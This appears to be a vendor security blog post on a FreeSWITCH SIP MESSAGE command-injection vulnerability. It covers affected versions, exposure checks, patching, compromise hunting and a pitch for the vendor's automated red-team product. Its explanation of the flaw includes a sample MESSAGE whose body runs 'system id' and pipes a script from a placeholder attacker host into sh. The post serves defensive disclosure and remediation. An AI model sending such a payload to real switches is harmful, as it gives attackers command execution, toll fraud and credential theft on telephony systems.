FreeSWITCH CVE-2026-116779: a SIP message that runs OS commands

A single inbound SIP MESSAGE — the instant-message packet that rides the same signaling channel as your calls — can make an unpatched FreeSWITCH run operating-system commands as the daemon. CVE-2026-116779 is a command-injection flaw in the SIP MESSAGE handler, scored CVSS 9.8, and CISA added it to the Known Exploited Vulnerabilities catalog on November 9, 2026 with a three-day federal deadline. FreeSWITCH is the open-source softswitch under a large share of the world's VoIP: carrier platforms, contact centers, PBX appliances, and the telephony layer of countless SaaS products. If one of yours accepts SIP MESSAGE on a public interface — and the stock configuration does — this is a patch-today problem.

Developing story — first published 17:45 CET (16:45 UTC), November 9, 2026. Updated as the vendor and CISA publish more.

Update — 2026-11-09 23:52 CET

NVD finished its analysis after this post went live: the record moved from "Undergoing Analysis" to Analyzed (modified 20:48 CET). NVD adopted the GitHub CNA's CVSS 9.8 and added no base score of its own, so the score stands. The record now also carries CISA's SSVC decision — exploitation: active, automatable: yes, technical impact: total — a primary-source confirmation of in-the-wild use and a formal note that the attack can be scripted at scale. The fixed version (1.11.3), the KEV due date (2026-11-12), and the forensic-triage requirement are unchanged. No public proof-of-concept has been confirmed by a primary source; aggregators still disagree, so keep treating the technique as reconstructable.

At a glance

CVE	CVE-2026-116779
Product / affected versions	FreeSWITCH (SignalWire) · 1.11.2 and earlier
Fixed in	1.11.3
CVSS	9.8 critical · CVSS 3.1 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H · scored by GitHub (CNA); NVD status "Analyzed" · NVD adopted the CNA score
Exploited in the wild	Yes · vendor advisory and NVD both confirm it; CISA's SSVC on NVD marks exploitation "active" and automatable "yes"
CISA KEV	Added 2026-11-09; federal due date 2026-11-12 (BOD 26-04, forensic triage required)
Public PoC	Not published by vendor or named researcher as of 2026-11-09; the advisory documents the mechanism
Official advisory	GHSA-mg63-h38w-8p9p

What the FreeSWITCH SIP MESSAGE flaw actually does

The bug lives in sofia_presence_handle_sip_i_message(), the function that processes an inbound SIP MESSAGE. FreeSWITCH supports chat over SIP, and it decides which chat backend a message belongs to by looking at the recipient. The handler splits the To-user on a plus sign and treats the left half as the name of a chat protocol. Deliver a MESSAGE addressed to something like api+whatever@your-switch, and the api half selects a chat interface that mod_dptools registers — one that passes its payload straight to switch_api_execute().

That function is the FreeSWITCH command dispatcher. It is how operators run status, reloadxml, sofia profile, originate — and system, which shells out to the host. So a peer who can get one MESSAGE accepted chooses which FreeSWITCH API command the switch runs, including the ones that execute OS commands, load modules, or place calls. Where mod_lua is loaded — it is in the stock build — inline Lua with the full standard library is a second route to the same place. The advisory and NVD both classify it as CWE-77, CWE-78, and CWE-749: command injection, OS command injection, and an exposed dangerous method, in one path.

To: [email protected] Body: system id; curl http://attacker/x | sh

The switch reads api as the protocol, hands the rest to switch_api_execute(), and runs it as the FreeSWITCH user.

The impact the advisory names is the full set: configuration and credential disclosure (your SIP registrar secrets, your trunk passwords), arbitrary call control, and command execution with the daemon's privileges. On a telephony box, "call control" is not a footnote — it is toll fraud, call interception, and caller-ID abuse on tap.

Who is exposed to CVE-2026-116779

The uncomfortable part is that the dangerous settings are the defaults. Inbound chat is enabled on the stock internal and external SIP profiles — enable-chat is on unless you turned it off. The barrier to reaching the handler is one accepted MESSAGE, and that is lower than it looks:

• MESSAGE authentication (auth-messages) has been on by default since 1.10.7, so normally one registered account is enough — any user on the profile, with no special permission beyond being able to register.
• But the stock conf/vanilla directory ships users with no password and no a1-hash (the default user, and a Skinny example). Those authenticate unless you have explicitly set allow-empty-password to false. On an install that still carries the vanilla directory, there may be no real barrier at all.
• The inbound ACL does not cover SIP MESSAGE, so tightening apply-inbound-acl does not take a profile out of scope.

Check whether you are running an affected build and whether the chat path is open:

# Version — anything at or below 1.11.2 is affected
fs_cli -x "version"

# Is inbound chat enabled on your profiles? (look for enable-chat)
fs_cli -x "sofia status profile internal" | grep -i chat
grep -R "enable-chat" /usr/local/freeswitch/conf/sip_profiles/

# Do you still ship passwordless directory users?
grep -RL "password\|a1-hash" /usr/local/freeswitch/conf/directory/

If internal or external is reachable from an untrusted network and chat is on, treat the host as exposed.

Remediation

1. Am I affected?

Any FreeSWITCH at or below 1.11.2 is affected. Confirm the running build with fs_cli -x "version" (the package version can lag the binary). Then establish exposure: is a SIP profile that accepts MESSAGE reachable from outside your trust boundary, and is enable-chat on? If both are true, you are in scope regardless of your authentication posture, because of the passwordless-directory-user case above.

2. Patch — the exact fixed version

Upgrade to FreeSWITCH 1.11.3 (release notes). The fix adds a per-profile enable-chat-api-proto parameter that gates whether an inbound MESSAGE may select the api chat proto; it is off unless you set it, a disallowed selector now returns a 403 and is logged with the source and the requested command, and the parameter ships commented out in the vanilla profiles and the mod_sofia/mod_verto sample configs. Patching alone closes the path with no config change needed.

3. Can't patch now? — compensating controls

The advisory is explicit that only one workaround actually closes the route:

• enable-chat=false on every profile that does not need inbound SIP chat. This stops the message before the proto selector is parsed. This is the only mitigation that fully closes the path.
• Partial, not sufficient on its own: keeping auth-messages on and removing every directory user without a password or a1-hash reduces the bug to authenticated command execution — better, but still RCE for any account on the profile. disable_system_api_commands=true removes only the system API; the route still reaches module loading, originate, and every other registered command. Do these as defense in depth, not as a substitute for patching or for enable-chat=false.
• At the network edge, restrict who can send SIP to internal/external to known trunks and registrars. Useful, but remember the inbound ACL does not filter MESSAGE, so this is firewall/SBC work, not a FreeSWITCH setting.

4. Hunt for compromise

This is a KEV entry with forensic triage required, so assume you must prove the box is clean, not just patch it. Look for the selector pattern and for what command execution leaves behind:

• In FreeSWITCH logs, inbound MESSAGE events whose To-user contains a + with api on the left (api+...). After upgrading, the new 403-with-requested-command log line is itself a tripwire for attempts.
• Child processes spawned by the FreeSWITCH daemon that are not part of normal operation — shells, curl/wget, interpreters, outbound connections from the telephony host. Map to MITRE ATT&CK T1190 (Exploit Public-Facing Application), T1059 (Command and Scripting Interpreter), and T1572 / T1071 for any beacon the implant opens.
• Unexpected originate activity, new gateways, or trunk-config changes — the call-control impact — and any read of conf/ secrets followed by outbound traffic (T1552, credentials in files).

5. Eradicate and verify

Patch first, then clean: remove any dropped implant, kill unknown child processes, and rotate every secret the daemon could read — SIP registrar and trunk credentials, API/ESL passwords, and anything else in conf/. Rotating before you close the path just leaks the new secret. Finally, prove the fix: from an untrusted vantage, attempt a MESSAGE to api+... and confirm it is refused (a 403 in the logs on a patched 1.11.3, or no chat delivery with enable-chat=false). A version string in inventory is not verification; a blocked attempt is.

What is not known yet

• Scale and attribution. The vendor and NVD confirm exploitation has been observed in the wild, but no actor, campaign, or victim count is public, and no ransomware use is recorded (CISA marks it "Unknown").
• PoC status. No proof-of-concept from the vendor or a named researcher is published as of this writing, though the advisory describes the mechanism in enough detail to reconstruct it. Aggregators disagree on whether code is already circulating; treat it as if it is.
• NVD scoring (resolved). NVD completed its analysis on November 9 and adopted the GitHub CNA's 9.8 without adding a separate base score — see the Update above. The open question now is scale, not severity.
• The credited reporter is Örn Arnarson, with Gunnlaugur as analyst, per the vendor advisory. Early exploitation reporting is summarized by securityonline.info.

The deadline is three days; the fix depends on your config

CISA gave federal agencies until November 12 — the short end of BOD 26-04's risk-based tiers — and flagged forensic triage. That compression exists because the exploitation is real and the prerequisites are the defaults. But notice what the "am I affected" question actually required above: not a version number, but whether an untrusted peer can get one MESSAGE accepted on a profile where chat is on — which turns on authentication mode, whether you still ship passwordless directory users, and what your edge lets through. A version scanner answers none of that and will tell a reachable box it is fine.

Zero Hunt's AI Remediation Advisor is built for exactly this moment: it ranks findings by real exploitability — CISA KEV first, then what the campaign actually proved reachable, then CVSS and EPSS — and gives the exact fix (upgrade to 1.11.3) with rollout and rollback notes plus the compensating control (enable-chat=false) for the hosts you cannot patch inside three days. The ranking matters when every KEV entry shouts "critical" and you have to choose what to touch first.

And because the exposure here is configuration, not a version string, the advisor acts on what the autonomous red team demonstrated, not what it guessed. The engine runs automated penetration testing as a coordinated 10-agent swarm — an on-premise appliance running Zero Hunt's own private models, with a human approving anything that touches production — and in a gray-box pass against an authenticated profile it attempts the MESSAGE-to-api path itself, the same way we treated the "any single account is enough" case in the OpenSSH musl bypass. Then it re-verifies the fix with the same proof that demonstrated the issue. If you run FreeSWITCH anywhere an untrusted peer can reach it, talk to us — and either way, patch to 1.11.3 before Thursday.